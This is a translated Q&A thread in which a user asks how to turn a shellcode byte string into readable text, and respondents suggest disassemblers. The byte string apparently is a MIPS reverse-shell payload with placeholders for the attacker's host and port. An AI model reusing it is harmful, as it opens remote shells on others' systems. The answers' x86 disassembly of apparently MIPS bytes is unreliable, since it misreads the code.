【问题标题】:how to decode shellcode to ascii如何将shellcode解码为ascii
【发布时间】:2020-10-09 01:10:03
【问题描述】:

我有一些 shellcode,当我转换为 ascii 时,它不会输出文本,它只是乱码。

\x24\x11\xff\xff\x24\x04\x27\x0f\x24\x02\x10\x46\x01\x01\x01\x0c\x1e\x20\xff\xfc\x24\x11\x10\x2d\x24\x02\x0f\xa2\x01\x01\x01\x0c\x1c\x40\xff\xf8\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0\x3c\x0e + lport +\x35\xce + lport +\xaf\xae\xff\xe4\x3c\x0e + lhost[:2] +\x35\xce + lhost[2:4] +\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x0f\xff\xfd\x01\xe0\x78\x27\x8f\xa4\xff\xff\x01\xe0\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff\x21\xef\xff\xff\x15\xf0\xff\xfa\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c

我尝试使用相同的输出以多种方式对其进行解码,还有其他方法可以解码吗?

【问题讨论】:

  • shellcode阐述你的意思;示例中有大量非 ASCII 数据(\x7f 以上的任何内容);对于较低的值,有 echo -e '\x43\x61\x74'
  • 当你有一些对应于字符串的字节值时,绝对有必要知道这些字节值在哪个 encoding 中。如果没有编码,你所能做的就是尝试转换从一堆字符串到目标编码。即使这样,您也需要记住,并非所有编码都是平等的 - ASCII 只有这么多 代码点, 其他编码有其他代码点和其他从字节构造字符的方式,例如多字节UTF-8 等编码。
  • Shellcode 包含机器指令,因此解码为 ASCII 肯定行不通。您可能应该尝试使用反汇编程序。我不知道能够做到这一点的工具,但也许 objdump 可以帮助你

标签: linux decoding shellcode


【解决方案1】:

您可以使用切割器,它是用于各种文件的调试/转储工具。 您可以制作文件,例如: touch script.sh 在文件中输入您的 shellcode,然后运行例如:cutter script.sh 如果您不知道如何使用 CLI 中的各个工具,并在一个地方获取更多信息,那么只能使用以下方式进行反汇编:

python -c 'print "\x24\x11\xff\xff\x24\x04\x27\x0f"' | ndisasm -u -

然后切割器是一个很好的工具,可以快速轻松地向您显示信息。

切刀: https://cutter.re/

【讨论】:

    【解决方案2】:

    您可以使用带有ndisasm 工具的python one liner 进行反汇编。

    例如。 python -c 'print "\x24\x11\xff\xff\x24\x04\x27\x0f"' | ndisasm -u -

    结果:

    00000000  2411              and al,0x11
    00000002  FF                db 0xff
    00000003  FF2404            jmp [esp+eax]
    00000006  27                daa
    00000007  0F                db 0x0f
    00000008  0A                db 0x0a
    

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2015-04-08
      • 1970-01-01
      • 1970-01-01
      • 2016-05-24
      • 1970-01-01
      相关资源
      最近更新 更多